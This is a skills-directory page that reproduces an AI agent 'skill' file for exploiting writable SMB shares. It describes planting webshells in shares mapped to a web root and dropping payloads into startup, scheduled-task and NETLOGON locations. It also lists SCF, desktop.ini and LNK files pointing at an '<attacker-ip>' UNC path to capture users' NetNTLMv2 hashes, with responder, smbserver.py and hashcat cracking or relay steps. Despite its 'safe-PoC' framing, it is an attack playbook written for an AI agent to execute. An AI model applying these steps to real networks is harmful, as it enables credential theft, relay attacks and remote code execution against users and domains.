Convert writable SMB/UNC shares into code execution or credential capture — planting a webshell in a share mapped to a webroot, dropping payloads to startup/scheduled-task/NETLOGON locations, SCF/LNK/desktop.ini UNC-coercion files for hash capture, and library-planting. Safe-PoC oriented with cleanup. Use when smb-enumeration finds writable shares.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Smb Share Webshell?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-smb-share-webshell)
---
name: smb-share-webshell
description: Convert writable SMB/UNC shares into code execution or credential capture — planting a webshell in a share mapped to a webroot, dropping payloads to startup/scheduled-task/NETLOGON locations, SCF/LNK/desktop.ini UNC-coercion files for hash capture, and library-planting. Safe-PoC oriented with cleanup. Use when smb-enumeration finds writable shares.
---
# SMB Share → Code Exec / Hash Capture
A writable share is often a foothold: it may map to a webroot, a startup path, or be browsable by privileged users whose auth you can coerce.
## Trigger phrases
`writable share, scf file, desktop.ini unc, webshell upload smb, netlogon write, lnk hash capture`
## Paths to code execution
- **Share = webroot:** drop a language-matched webshell (see `${CLAUDE_PLUGIN_ROOT}/payloads/file-upload.md`) and request it via the web service → RCE. Confirm the share's web path first.
- **Startup / scheduled-task / service paths:** place a benign marker payload; confirm execution context on trigger; remove it.
- **SYSVOL/NETLOGON write** (rare, high impact): scripts run domain-wide — benign PoC only, revert immediately.
## Hash capture via UNC coercion (safe, no payload)
Drop a file that forces browsing users to authenticate to your host; capture NetNTLMv2 with `responder`/`smbserver.py`, then crack or relay:
- **SCF file** in a browsed share: `IconFile=\\<attacker-ip>\share\x`.
- **desktop.ini** with a UNC `IconResource`.
- **LNK / .url / library-ms / .searchConnector-ms** pointing at your UNC.
```
smbserver.py -smb2support share . # or responder -I <iface>
# wait for a user/indexer to browse -> NetNTLMv2 -> hashcat -m 5600 / relay (auth-coercion-relay)
```
## Safe-PoC discipline
Prefer hash-capture (no code) and benign markers over live payloads; always delete planted files and record them.
## Backend / Verification
Kali for responder/smbserver. **Background-verify** the captured hash authenticates / the webshell executes, independently, before reporting CONFIRMED.
## Evidence
The writable share, the planted file (then removed), and the captured hash or shell proof.